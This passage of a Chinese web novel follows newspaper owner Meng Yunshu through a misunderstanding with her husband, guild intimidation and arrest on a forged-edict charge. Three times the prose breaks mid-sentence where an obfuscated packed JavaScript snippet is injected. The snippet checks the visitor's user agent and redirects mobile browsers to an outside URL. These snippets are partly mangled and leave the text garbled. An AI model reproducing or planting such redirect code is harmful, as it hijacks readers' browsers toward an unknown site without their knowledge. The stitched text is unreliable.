在经过院子时，他望见孟允抒和几个丫鬟小厮在花草旁说笑。孟允抒向他挥手致意，他也顾不上驻足停留，只是向她略一点头，急急忙忙地奔向正厅。 孟允抒犯起了嘀咕。许昭的性格向来沉静，她从来没见过他焦急慌张的模样。看他奔跑的方向，似乎是要前往正厅，也不知道那有什么吸引他的东西。 孟允抒捋着面前那盆花的枝叶，猛然意识到一件事。 坏了，她买的那一堆药还没收起来。 而且还是治不举的药。 “秋盈，我有点事先走了！” 她没敢耽误时间，撂下一句话就提起裙摆朝正厅飞奔。 要是再等下去，误会就闹大了。 一个小丫头困惑地问秋盈：“秋盈姐姐，夫人这是怎么了，我们要不要过去看看？” “不用。”秋盈笑吟吟地说着，她拿了把剪刀，气定神闲地修剪面前的绿植，“你们在这赏花就行。” 孟允抒气喘吁吁地赶到正厅门口，她刚扶着门框站稳，还没来得及平复气息，抬头就见许昭已经将那药方拿在手里了。 她心里凉了半截。 紧赶慢赶还是迟了一步。 那药方上白纸黑字地写着这些药材的功效，即使许昭不精通医术，也能看得明白这些药是治疗什么病症的。 而且许府上下，只有一个人可能是这些药的潜在治疗对象。 果然，许昭抬起头，眼神空洞地看向孟允抒。 “你认为我身患此种病症？” “没有。”孟允抒连忙将那张纸从他手里夺来，“你别胡思乱想。” 她先让许昭坐下来冷静一下，给他倒了水，一五一十地讲述了今天所发生的事。 许昭不放心地追问道：“你当真不是故意将这些药放在桌面，好让我一眼看见？” 孟允抒笃定地回答：“我向公子保证，绝对不是。” 许昭听完，只淡淡地说了句“原来如此”，而后又陷入长久的沉默。 他有什么心思都写在脸上，孟允抒一眼就能看出，许昭还在为这事耿耿于怀。 孟允抒想了想，装出一副委屈的模样问：“公子难道不相信我说的话？” “当然不是。”许昭回了她的话，却又提出另一个问题，“但世间的隐疾有千万种，你为何独独想到用这种病症当借口？” 这话问得孟允抒哑口无言。 当时她面对掌柜的疑问时，脑海中浮现的是许昭的形象，她似乎自然而然地就把他和“不举之症”联系起来了。 她还真不是问心无愧。 许昭先她一步为这个问题找到了解释。 “几个月前，你曾经问过我……” 许昭踌躇了一下，还是复述了孟允抒当初的那句话。 “……是否精于床笫之事。” 孟允抒低头盯着自己紧紧攥住的手帕，尴尬得脚趾抠地，胡乱应了句“嗯”。 当初她问出这句话时就已经是窘迫至极，但她怎么都没想到，这事还能化身回旋镖扎她第二次。 孟允抒用余光瞥了许昭一眼，他的视线落在别处，并未与自己的目光交汇。 许昭显然也察觉到两人间的氛围十分诡异，可他却不肯放 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“我不过是说了句话，你不至于这么高兴吧。” 话虽这么说，孟允抒脸上的笑容却比许昭还要明显几分。 许昭听到孟允抒的话，似乎找回了理智，他快步走过来，紧紧攥住孟允抒的手：“允抒，谢谢你。” 说着，他轻轻扶住孟允抒的后脑，凑近了她的面庞。 孟允抒忽然意识到他要做什么，于是闭上双眼，主动靠近许昭的双唇。 在她吻上许昭的前一秒，大脑中却响起一句话。 “你不是孟夫人吧。” 孟允抒心中一阵惊惶，她想要摆脱这句话，于是奋力伸出手将其推到一边，急促地否认道：“不对！” 当她反应过来时，看到的却是许昭惊疑的眼神。 孟允抒惊魂未定地喘着气，她发觉自己做了扫人兴致的事，垂眸向许昭道歉。 “抱歉。” 许昭没想到孟允抒会做出这样的反应，拉起她的手问道：“你怎么了？” 孟允抒看向许昭，他的眼神中满是担忧。 可她已经不确定许昭是在看谁了。 “我没事。”她摇摇头，将手从许昭的手中抽了出来，“方才我说过的那些话，还请公子不要放在心上。” 许昭焦急地问：“为什么？” 他等了这么久，好不容易听到孟允抒吐露心迹，但她却突然要收回那些话。 “时候未到。”孟允抒只说出几个简短的字，“公子请让我一个人待一会吧。” 许昭再继续待在这里她一定会反悔。 而且她现在心乱如麻，她担心自己会说出什么不妥的话来。 许昭没有对孟允抒所说的话作出任何表态，只是转身出了正厅。 她望着许昭远去的背影，心里却不像她想象中的那样轻松许多，反而比方才还要沉重几分。 孟允抒过去时常觉得，似乎有一堵看不见摸不着的障壁横亘在两人之间。正是因此，在许昭和她表明心迹之后，她依然迟迟不肯回应他。 现在她明白那层障壁是什么了。 和许昭成婚的是那位孟姑娘，和他产生恩怨纠葛的也是那位孟姑娘。孟允抒不知道，许昭对她的爱意里面，掺杂了多少责任感、愧疚、感激之情。 而这些感情的对象不是她。 孟允抒抬眼看向许昭的茶杯，方才他喝剩下的茶水还留在杯中。 许昭并不知晓内情却被她这样对待，他一定也是恼怒万分。 40. 打压 接下来的一周，孟允抒刻意保持着和许昭之间的距离，两人只在吃饭时稍微谈上几句话。 恍惚之间，孟允抒觉得她和许昭的关系仿佛又回到了原点。 秋盈当然也早已察觉到这一点，她曾与孟允抒谈心，在得知她的心结后却也犯了难。说到底这是孟允抒和许昭两个人之间的事，而且这其中的内情太复杂，她无法替孟允抒出面解决此事。 不过，虽然孟允抒在感情上陷入了困境，但在工作上并未出现纰漏，甚至比以前更加用心。 这倒不是因为她化悲愤为动力，而是由于近日报社招聘进来了一批新成员。他们对报社的工作尚不熟悉，难免出现失误；同时他们与老员工也存在诸多摩擦，他们互相磨合和熟悉还要花上好一阵功夫。 当下，孟允抒就正在耐心地为面前的一名新编辑做着心理疏导工作。 “你不必这样自我否定。催雪没有恶意，她就是这样的性子，心直口快，有什么说什么，并非是针对你本人。” “我知道。”对面的那人的情绪有所好转，但还是轻微地抱怨了一句，“盛副主编才华横溢，全京城的人都知道。可她要是以自己的水平作为标准，有几个人能入得了她的法眼？” 他这句话说得在理。 “嗯，催雪这点确实应当改改，稍后我会告诉她。”她对那位编辑笑了笑，“你若是没什么事，就回去忙吧。” 那名编辑刚刚起身，办公室的大门就被再次叩响。 孟允抒不知道这次又是谁来告状，她说了句“请进”，那名编辑则对来人叫道：“秋掌柜。” 孟允抒有些意外，通常情况下都是伙计们负责在报社中跑腿，秋盈一直守在前店。 待那编辑走后，办公室只剩下她和秋盈两个人，秋盈这才压低声音开口说道：“如玉行会的人来了，我让他们先在会客室等着。我们要不要再叫上几个伙计一同过去？” 如玉行会是京中书业行会的名称，总揽一切书业的管理事务。当初孟允抒在创办报社时，因为官府规定各商铺都要按行业登记在册，但因为民间小报并没有正规的经营形式，报业也并未作为一个独立的行业存在，她只能暂时加入如玉行会受其管辖，这样才能获得从业资格开门迎客。 行会的规矩很多，譬如日常经营需要遵守行会设定的章程；店内雇佣伙计与帮工需要经过行会同意，规模需要控制在他们准许的范围内。前些日子孟允抒和行首交涉得并不愉快，他们不同意孟允抒招揽新员工，但她才不可能乖乖听话，回来后就自作主张地开展了招聘活动。 眼下的状况显然是来者不善。 “不必了。”孟允抒思忖片刻对秋盈说道，“他们好歹都是些有头有脸的人物，至少不会在明面上乱来。你随我一同过去即可，不要惊扰旁人。” 行首是行会与官府交涉的首席代表，同时负责管理行会的日常事务。由于经常游走于各方组织之间，行首的权势日渐壮大，成为行业中的地头蛇，对从业者的影响力甚至远甚于正式官员。 孟允抒带着爽朗的笑声进了会客室，向行首行了一礼道：“胡行长要来报社怎么也不提前通知我一声，好让我做足准备。你看今日你来，我们有失远迎，又招待不周，还望行长海涵。” 胡行长也向她回礼笑道：“孟社长，我们已经是老熟人了，你不必多礼，快请坐。” 孟允抒扫了一眼胡行长身后的两个伙计，果然如她所料，胡行长是个体面人，今日来应当只是给她一个口头警告，并没有带大批人马前来兴师问罪。 可下次就不一定了。 胡行长喝了口茶等孟允抒坐定，这才不紧不慢地开口道：“孟社长果然经营有方，我方才在报社中转了一圈，见各部运行有条不紊，难怪你们的生意能够蒸蒸日上。” 孟允抒当然知道他这话是什么意思，却只是笑着奉承他：“我哪里懂得什么经营手段，我们报社全靠胡行长和如玉行会的照拂，这才能够安稳地在此地营生。” “孟社长此言差矣。”胡行长的脸上依然堆满了笑容，但孟允抒觉得那分明是笑里藏刀，“孟社长有胆有识，口齿伶俐，连大名鼎鼎的盛姑娘都能被你请来做工。要我说，我们行会非但帮不上你的忙，反而是拖累了你。” “胡行长这话真是折煞我了。”孟允抒还在装糊涂，“若是没有你们，我这报社连开张都难，更何谈后面的经营？” “只可惜孟社长的生意红火了，所以也不需要我们出手相助了。”胡行长转头看向窗外，院中有几个伙计在各部之间穿梭，行色匆匆，“你看，前几日我们商量好让你保持现状，先稳定经营上一段时日再议招揽人手之事，但孟社长显然有自己的主意。” 秋盈听出这句话的内涵，于是开口说道：“我们已经将社中账务送往如玉行会请您过目，也愿意按比例再向您多交一部分会费。从行会章程看我们的行为并无不妥，但您却始终不肯同意我们扩充人手。” 她缓和了语气说道：“报社事务日渐繁重，我们等不了那么久，只能先斩后奏。若是胡行长肯点头，我们愿意补上这部分会费；如果您觉得这个数太少，我们可以继续商议。” 孟允抒保持静默看向胡行长，等待他作出回答。 “孟社长和秋掌柜误解了我的意思。”胡行长并未松口，“我先前已经说过，如玉行会需要维持行业内的平等秩序，各位有钱一起赚，不能一家独大。所以这与你们缴纳多少会费无关，纵然你们给我黄金万两，我也不可能同意你们这样做。” 他这话说得好听，但现在黎民报社发展得如日中天，孟允抒在明里暗里受到多次倾轧，孟允抒对问题的根源心知肚明。 在报社迅速发展的同时，传统书坊的生意也衰退不少。孟允抒抢了这些人的饭碗，他们因此怀恨在心，胡行长当然也不可能任由黎民报社继续挤占他们的市场空间，于是利用他的威势来打压自己。 行会设立的初衷是同行互利，孟允 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646401|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抒先前曾向行会提出，她愿意将经验分享给同行，帮助他们盈利。但说到底报业和书业是不同的行业，有许多人出于种种原因不能放弃书肆的经营，或是无法应用报社的运营模式。 而且至关重要的一点是，胡行长掌握着书业的经济命脉，他绝不可能让孟允抒爬到他的头上。只要将报业死死按在报社内部，孟允抒单凭这一家店铺就根本掀不起什么风浪。 孟允抒听着他的指控觉得有些好笑。不知道真正搞垄断的人到底是谁。 “孟社长，今日我言尽于此。若你知道悔改，现在主动辞退一批人还来得及。”胡行长给孟允抒下了最后通牒，“若你执意如此，后果你也知道。” 下场当然是被强制退出行会，关门大吉。 胡行长这句话已经是赤裸裸的警告和威胁，孟允抒保持着得体的笑容应道：“多谢胡行长提醒，容您给我些时间，我一定会给您一个满意的处理结果。” “那当然是再好不过。”胡行长起身向她行礼告辞，而后看了眼他身后的两个伙计，“我们走。” “胡行长请慢走，小心台阶。” 孟允抒和秋盈一同走到前店，将胡行长送到门外。 秋盈见胡行长的背影渐行渐远，轻轻叹息一声说道：“我们得抓紧时间想办法。” “嗯。”孟允抒略一点头，她刚才的说法不过是缓兵之计，秋盈自然也明白，“只希望最近来找我们麻烦的人能少点。” “啊！” 孟允抒刚一转身，一个身影就飞奔而来，结结实实地和她撞了个满怀。 这叫声的主人是排云。 “你小心些，别总是这样风风火火的。”秋盈略带责备地说了她两句，“出什么事了？” “孟社长抱歉。”排云赔着笑捂住额头，“我们已经问出来了，早上那个在我们仓库鬼鬼祟祟的人，他是受济宁堂的掌柜所托，故意来我们报社捣乱的。” 这事发生在孟允抒和员工谈心的时候。那会萧谨言去仓库取纸，接着就发出响彻云霄的哀嚎。全报社的职工都被他惊动，一大批人迅速赶往仓库，也正是因此他们才及时将那个潜在的作案人逮住，没有让他酿成大祸。 要是他在仓库里放一把火，后果不堪设想。 孟允抒觉得后怕，对排云说道：“走，你带我去见见他。” 说着，她又转头对秋盈说：“前面就交给你了，最近让伙计们都警惕点，勤盯着那些形迹可疑的人。还有，这周末要在社中举行保健知识宣传讲座，你记得让催雪再和那位郎中确认一下讲座时间和内容。” 孟允抒迈步向前，但每一步都走得无比沉重，肩上仿佛担着前所未有的压力。同行的恶意竞争、行会的打压控制、他们得罪过的人前来报复，这些事情都挤在一起，她却无从宣泄。 以前她在回府后还能和许昭说说自己的烦恼，可她现在不能毫无顾忌地做这些事了。 因为她是孟社长，却不是孟夫人。 41. 诬陷 开完选题会后，孟允抒回到办公室，翻了两页面前的文稿就困得睁不开眼睛。 这两日她忙得晕头转向，纵然她有个铁打的身体也经不起这般折腾。她把手旁的纸堆收拢整齐，将其推到一边后就趴在桌案上，打算稍微打个盹。 她的眼皮沉得厉害，脑袋刚埋在臂弯里就陷入睡眠中。 “社长，孟社长。醒醒。” 迷迷糊糊间，孟允抒好像听到有人叫自己，不住地摇晃着她的身体。 借助着这份外力，她勉强把自己从梦境的泥潭中拔了出来，将眼皮掀开一条缝隙，辨认出面前那人的身份。 “排云？” 孟允抒坐正身子晃了晃脑袋，好让自己眼中的景象更清晰些。 她恢复了神智，这才发现面前的景象不合常理，带着鼻音问道：“今日不是轮到你休息吗，怎么来报社了？” “社长，出大事了。”排云神色焦急地说起了她来报社的目的，“清早我去街上买东西，在路上听到有人叫喊着兜售《黎民日报》，就顺便过去看了一眼。但是，那上面的内容显然不是我们写的。” 她将手中的小报递给了孟允抒，语速飞快：“社长请看。” 孟允抒迅速将报上的内容读了一遍。 这篇报道中说，昨日程玄平上朝时曾因言语不妥被皇上抨击，加上先前他自身的丑闻，当今圣上已经对他深恶痛绝，要不了多久他就肯定要被贬官。像是为了增强这则消息的真实性和可信度，文章中还特意附上了皇帝斥责程玄平的诏书，注明这是皇上的原话。 孟允抒曾经许昭那里见过皇帝的亲笔书信，她能看得出，虽然这篇文稿的作者对皇上的语言风格已经模仿得有八九分相像，但这份诏书绝对不是出自皇上之手。 也就是说，这是一封伪诏。 编排朝廷的虚假新闻本就是重罪，再加上这封伪诏，作者恐怕是吃了熊心豹子胆才敢用这种手段牟利。 前阵子因为程玄平的丑闻传得人尽皆知，加上新党在朝堂中的崛起，民间舆论也呈现出翻转的态势，一时间民众都对程玄平的意见很大，人人都等着看他的笑话。此时这则消息显然是为了顺应民间舆论潮流而作，让各位读者看了觉得爽快。 孟允抒通读全文，当她的目光落到文章末尾时，顿时惊出了一身冷汗。 除了她的探官代号“芷兰”以外，那里还有一个眼熟的标识。 过去黎民报社为了打击盗版，孟允抒特意让社中的刻匠设计了一个独家图案，其样式复杂，所用技艺独特。因为手工篆刻存在误差，即使让同一个人再刻一遍也不可能与原图一模一样，复制难度极高，孟允抒将其作为了《黎民日报》的防伪标识，附在每期报纸的末尾。 而现在，这个图案赫然出现在了她眼前，也就是这则虚假新闻后方。 她抬头看向排云：“这是怎么回事？” “当时我看见这个标识也吓了一跳，但我害怕打草惊蛇，就买了一份小报，从那卖报人口中套话。”排云讲起了事件的经过，懊恼地说道，“但他对我十分戒备，我还没问上几句，那卖报人就发了火。我戳穿他的身份后，他面色一惊拔腿就跑，我没能追上他，七拐八拐地就让他跑没了影。” 排云看向孟允抒，心急火燎地问道：“社长，我们现在该怎么办？” 孟允抒先让她冷静：“别急，让我想想。” 根据排云的描述，这卖报人一副做贼心虚的模样，显然知晓这些小报是假借《黎民日报》的名义发行，但他的真实目的尚未可知，或许是想蹭他们报纸的名气，又或许是更糟糕的情况，想要把罪名转嫁给他们。 尽管她通过仔细观察能够甄别出这图案的真伪，可旁人一眼看过去，这与他们的标识别无二致。要是她想借此自证清白，这凭据实在不够充分。 孟允抒又翻回报纸的首页，仔细看了眼报头。这份报纸上标注的发行日期是昨天，想必已经在人群中流传开来。这消息如果落到官员手里，只要有一个人将它禀告给皇上，那她势必要去刑部走一遭。 眼下最重要的事就是打击谣言，揪出真正的作者。 孟允抒有了主意，吩咐排云道：“这样，你先让编辑部的人写一份公告澄清事实，告诉大家这则消息为假，也并非出自黎民报社，让民众不要上当受骗。其余的事就交给我。” 排云应了一声就急匆匆地跑出去，如今情况紧急，孟允抒也顾不上系统漫天要价的卑劣行径，直接在脑内唤醒了它，向其提问道：“我想知道是谁冒充我的名号发布了这则假消息，关于这件事你是否有线索？” 得到肯定答复后，孟允抒兑换了其中一条线索。 【在南华门街，有多家书坊聚集于此。】 如果这系统有实体，孟允抒绝对要冲上去给它一拳。 这都什么时候了，它还在这当谜语人？ 孟允抒在脑中怒斥道：“你就没有更直白点的情报吗？” 【抱歉，虽然我是情报系统，但并不会直接向宿主提供全部真相，请您根据线索提示自行调查。】 从系统那获取线索和开盲盒差不多，为了节省些声望点，孟允抒决定再自行收集些有用的信息。 她也许可以去刻匠那里问问，看他能不能通过那图案推断出，京中有哪些人具备这般复刻的手艺。 作出决断后，孟允抒从椅子上起身。 还没等她走到门口，便听得门外传来一阵凌乱的脚步声和吵闹声。那声音从院中由远及近，眨眼间就冲破大门，出现在孟允抒面前。 来者共有五人，身上皆穿着公服，挂有腰牌，身份不言自明。秋盈站在他们身后，和几个伙计一起极力替孟允抒作出辩解。 接着，萧谨言和盛催雪等人听见动静也连忙赶来，排云手里还攥着那份小报的正文部分，显然他们已经知晓了假新闻的事，能够猜到这些官员来这里的目的。 众人七嘴八舌地吵嚷着，场面顿时乱作一团。 “住口。”为首的人被吵得心烦，神情严肃地警告他们，“方才我已经说过，若是有人再妨害公务，就和她一起去刑部大牢。” 孟允抒知道这事可能会惊动朝廷，但没料到刑部官员能来得这么快。 “秋盈。”孟允抒用眼神示意他们噤声，而后从容不迫地向那些人行了一礼，“不知诸位大人莅临报社所为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657086|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何事？” 为首那人没有回答她的话，只是快步向她走来，一把夺过她手中的小报残页。 那上面正标注着她的探官代号，还有那个假冒的防伪标识。 排云见状连忙解释道：“那是——” “原来其余部分在你手里。”那人闻声看向排云打断她的话，将她手里的报道正文也抢了过来。他将小报拼凑完整，扬起手中的纸张对孟允抒冷笑道：“物证就在你们手上，孟社长何必明知故问？” “此文并非由我所作，请大人明察。”孟允抒镇定地举证，“文章末尾那标识——” “打住。”那人并不给孟允抒辩解的机会，“这里不是断案的地方，孟社长要是觉得有冤，就请随我到刑部详述。” 他将小报折好递给身边的下属，自报家门道：“我是刑部郎中赵逾明，孟社长——” “哦不对。”他刻意停顿了一下，笑得更加不怀好意，“应该说是孟夫人，从许大人那里听过我的名字吧。” 孟允抒心头一紧。 刑部郎中有两名，除许昭外便是眼前这位赵逾明。许昭曾经告诉过她，赵逾明这人心狠手辣，最喜欢对犯人严刑逼供，而且是程玄平坚定不移的追随者。他和许昭平时就互相看不顺眼，几次三番地给许昭使绊子，总想着有朝一日把他从这个位置上挤下去。 方才赵逾明这句话向她透露了一个信息，即他已经知晓孟允抒和许昭的关系。 落到他的手里肯定没好果子吃。 当前时间紧急，赵逾明不可能给她留出辩白的余地，和他说那些客套话也没用。借着那些官员来绑她的机会，孟允抒直入正题道：“许郎在哪，他是否知晓此事？” “孟夫人搞出这么大的动静，你家夫君怎么可能不知道？”赵逾明大笑起来，好像他听到了一句相当滑稽的话，“今早上朝的时候，他就差指着皇上的鼻子骂他昏君了。所幸陛下宽宏大量，不仅没有同他计较，还让他回家休息，派人好生照看他。现在许大人应该在府中转着圈地散步吧。” 听他的意思，许昭应该是受到了监禁，但暂时没有大碍。这让孟允抒在暗中松了口气。 “好了，闲聊就到此为止。”赵逾明收敛笑容，转头递给随从一个眼神，“把她带走。” 报社成员见状都急忙冲上来，将这几名官员和孟允抒层层困在中间：“你们这是凭空污人清白！孟社长不能走！” 赵逾明没心思和他们纠缠，厉声喊道：“你们要是再胡闹，休怪我不客气！” 利刃出鞘的尖啸声令人群发出几声惊呼，孟允抒连忙提醒众人：“大家小心，退后！” 趁着赵逾明短暂地压制住了人群的骚乱，孟允抒迅速安排这几日的注意事项：“秋盈，我不在的时候，一切报社事务的最高决策权都交给你。谨言和催雪管理好探官和编辑。” 说到最后一句话时，赵逾明已经将她推出了门外，孟允抒不得不回过头对众人大喊：“其余人各司其职，照常上工！” 孟允抒被押上了车，这才有空将注意力放在自身上。 这场变故来得太过突然，她隐约觉得，这像是一个被提前设计好的阴谋。 42. 借题发挥 不到一炷香的功夫，孟允抒就被一行人押解至刑部大牢，狱卒将她一把推了进去。 趁着狱卒锁门，赵逾明站在牢房外对她笑道：“委屈孟夫人先在这将就着休息片刻，我还有别的犯人要审。不过别担心，因为你的案情重大，很快就能轮到你了。” 孟允抒见不得他那副小人得志的嘴脸，干脆闭上眼睛不搭理他。 等他们的脚步消失在大牢的长廊尽头时，她才重新睁开眼睛，环顾她周边的环境。 刑部的牢房中，只有靠近天花板的位置开了一个方形的窗户当作通风口，那缺口都还没有一个成年人的脑袋大，采光自然差到极致。 因为牢房终年不见天日，房间的环境十分潮湿，墙壁上全是纵横交错的裂缝，还有大片的苔藓和霉斑。孟允抒身下的稻草也呈现出相同的脏乱样貌，其间还夹杂着不少形态各异的虫蚁。 她觉得头皮发麻，赶紧挪开身子换了个地方坐着。 湿热的环境和刺鼻的异味让她不堪忍受，为了转移注意力，孟允抒开始根据现有的情报分析这件事的脉络。 首先，那份报纸是昨日发行的，但她今天中午才知情，今早她在系统那兑换舆情热点时，它也并未告知自己这条消息。这些信息证明，这则新闻的流传范围并不广泛。 由此可以推导出，那份报纸的发行方应当没有太多人手。 其次，赵逾明之前在话中提到，今早上朝时许昭曾和皇上因此事发生冲突，但昨晚许昭并未告诉她这条新闻，也没有表现出任何异常。他们两人是一条绳上的蚂蚱，她要是被定了罪，许昭也难脱干系。他不是拎不清的人，就算两人处在冷战阶段，许昭也不可能知情不报。 所以，他一定是在今天早上才得知这个情况。 在这个时间段内，他获取信息的渠道只有其他上朝的官员和皇上。由此可见，他们定然是先他一步知道消息。 而这个时间点只能是昨天。 昨日皇上没有出宫，应当是其他官员将消息告知了他。否则的话，若是这些人今早上朝才把这事说出来，皇上一旦得知他们在昨日就知晓这条新闻却隐瞒不报，一定会降罪于他们。 可这样一来，这件事中又出现了一个新的矛盾点。 此案事关重大，属于刑部的管辖范围。如果皇上下令彻查，许昭不可能听不到风声。除非他刻意避开了许昭，指派赵逾明全权负责此事，在暗中进行调查。 按常理来讲，孟允抒和许昭是夫妻，皇上想要让他回避实属正常。但问题的关键在于，孟允抒作为黎民报社的社长一直谨慎行事，她和许昭的关系只有秋盈与萧家的三位公子知道。 在调查之前，皇上如何得知此事，从而对许昭封锁了消息？ 只有一种可能，即那位通报的官员在找皇上之前，就先行查明了她的身份，将此事连同她和许昭的关系一起禀报给了皇帝。 孟允抒蹙起眉头，盯着地上的蚂蚁艰难地翻过草堆。 那么，这位官员为什么要提前调查？如果事不关己，他没有必要大费周章地做这些事，搞不好还会落一个自作主张的罪名。 如黑夜中擦过一道闪电那般，一个名字赫然出现在她的脑海中。 程玄平。 在那篇报道中，当事人只有他和皇帝两个。 自从一月前他的丑闻被频频爆出，程玄平声名狼藉，在家庭和事业上也屡经波折，因此对民间小报恨之入骨，发誓要找出那些文章的作者。但是，各式各样的小报在京中随处可见，想要达成这一目标犹如大海捞针。 前些日子孟允抒和其他探官闲聊时就听说过，最近程玄平整个人都和魔怔了一样，天天念叨着要把始作俑者碎尸万段，还派了不少人整日在街上巡游，搜罗全城的小报，试图从里面发现蛛丝马迹。 孟允抒倒觉得这是件好事，她还借此机会让程府的人狠狠地给《黎民日报》冲了一波销量。 不过，由于这些人锲而不舍地守在大街小巷，无论是哪家的小报，都会第一时间流入程府，近日他们的消息甚至比孟允抒还要灵通许多。所以，昨日的那份盗版报纸一经发行就落到了程玄平的手上。 孟允抒的面色凝重起来。看来，眼下的情况比她想象得还要糟糕。 虽然那篇杜撰的新闻报道并非出自她手，但程玄平歪打正着地查到了她头上，发现了她和许昭的关系。再将过去一个月黎民报社对民间舆论的引导、朝堂政局的变化联系起来，恐怕程玄平已经回过味来，明白这是孟允抒和许昭联手策划的一场局。 而当下就是报复他们的绝佳时机。 只要能坐实孟允抒虚构朝廷要闻、诽谤重臣、伪造诏书等罪名，她肯定是难逃一死。同时，许昭作为孟允抒的夫君，又是刑部官员，他纵容包庇她做这些事，势必也要受到牵连。 许昭被拔除后，以程玄平为首的旧党就可以趁虚而入，用此事大做文章，批判许昭受妇人蛊惑知法犯法，甚至煽动民变祸乱朝廷。到那时，许昭不但会沦为其他官员的笑柄，皇上也难免会因此对新党的建议产生质疑。 要是他收回成命，那孟允抒等人先前的努力可谓是前功尽弃。而且，民间小报也会受到朝廷的大力肃清。 想到这件事可能引起的连锁反应，孟允抒不寒而栗。 她起身在牢房踱步，思索着应对之策。 只要她能证明那份小报与她无关，那她的这项罪名就不成立，程玄平也无法以此为据，用她和许昭的关系论证她就是之前那个散布他丑闻的人，后面一切问题就迎刃而解。 但这是一个千载难逢的扳倒许昭的机会，赵逾明他们肯定不能为她留有翻身辩白的余地。不管那篇报道是不是她写的，最终的案件卷宗上，在犯人处都会落下她的名字。 也就是说，这件事的真相已经不重要了。他们抓捕自己的根本目的不是破案，而是将她作为政治斗争的筹码。因此他们才会提前控制住许昭，又急匆匆地将自己带到这里，好让她陷入孤立无援的境地；也正是因此他们才没有直接查封报社，把其他人牵扯进来。 在报社成员中，尤其是采编部的职工，有一部分人是官家出身。要是程玄平将他们一网打尽，他们联合起来抵抗，那也会凝成一股不容小觑的力量。他不能给自己到处树敌，所以选择拿孟允抒开刀杀鸡儆猴。正如萧睿言所说，朝中数量最多的是中立派，他们见到孟允抒的下场，大多都会选择明哲保身。 这些人分明是有备而来。 孟允抒的思绪纷乱，不知道是不是因为思考消耗了她的太多精力，她觉得自己的头部隐隐作痛。当前她找不到破局的办法，于是打算暂时保存精力，静待时机。 而后，她倒向身下的稻草堆，昏昏沉沉地睡了过去。 “哎，醒醒。赶紧起来。” 孟允抒被粗暴的摇晃唤醒，挣扎着站起身来。她面前是两个拿着镣铐和锁链的狱卒，赵逾明则站在门外，露出阴鸷的笑容：“孟夫人久等了，请随我走一趟吧。” 孟允抒了然，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671674|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是轮到她接受审讯了。她一言不发，默默地让狱卒给她戴上戒具，被他们押着跟在赵逾明身后。 连日的疲累好像积累成了酸痛，她察觉到自己的脚步虚浮，身体发烫，每一步仿佛都踩在棉花上，让她头晕目眩。今天上午她就感觉自己的状态不大对劲，比平时都要困倦乏力。现在她应该是发起烧来了。 真是屋漏偏逢连阴雨。就冲牢房的卫生条件，不给她的病情雪上加霜就不错了。 赵逾明走在她前方，对她冷嘲热讽道：“孟夫人真是处变不惊，出了这么大的事，在牢房里还能酣然入睡。” 孟允抒单从赵逾明对她的称呼就能判断得出，果然如她所料，他是冲着许昭来的。 她强行打起精神，试探他的口风：“赵大人此言差矣，那篇文章并非由我所作，我问心无愧，当然能睡得踏实。” “好一个‘问心无愧’。”赵逾明嗤笑着摇摇头，“我抓捕你时，你手上正拿着那份小报，如今却面不改色地说此事非你所为，宣称自身无罪。孟夫人不觉得你的话漏洞百出吗？” “那小报是一位伙计买来的，她发现文章作者冒充我的名号，还伪造《黎民日报》的独家标识，为将此事告知于我才买下了它。” 孟允抒讲述着事情的经过，又举证道：“来这之前我就告诉过赵大人，文稿结尾处的那标识与我们报社的有细微不同，只要仔细分辨就能察觉。况且，若是我想污蔑程大人，理应避其锋芒，怎敢将我们报纸的名号堂而皇之地印在报头？” “孟夫人所言极是，可你提出的这些都无法作为你无罪的凭据。” 赵逾明一行人带着孟允抒进了刑室，他挥手示意狱卒将孟允抒绑在行刑架上：“随着印制次数的增加，所用的模具自然会磨损变形。况且，印制图案的清晰程度也与纸张材质、墨水用量有关，只要其中一个环节发生微小的改变，其最终呈现出的效果就大有不同。” 孟允抒的手腕被粗粝的麻绳勒得生疼，在昏暗的刑室中，到处都安置着形状各异的刑具，上面的血污让人触目惊心，她根本不敢想象来到这里的犯人都要经历怎样残忍的折磨。 赵逾明和这些刑具一样，都是青面獠牙的恶魔。 孟允抒按下心中的恐惧，再次声张自己无罪：“赵大人，关于此事的内情，我已经掌握了部分线索，只是还没来得及去调查。若你按这些线索去搜寻，一定能找到真正的作者。到那时，我身上的嫌疑自然就能被洗清。” “孟夫人，都到这个时候了，你居然还不肯说实话。”赵逾明装出失望的神情，叹了口气说道，“我要是听信你的一面之词浪费人力，那才真是中了你的缓兵之计。” 他退后几步，走到靠墙的那张椅子上坐下，对孟允抒说道：“既然你不愿意供认罪行，那我也只能按规矩办事了。” 赵逾明转过头，给旁边的狱卒使了个眼色：“打。” 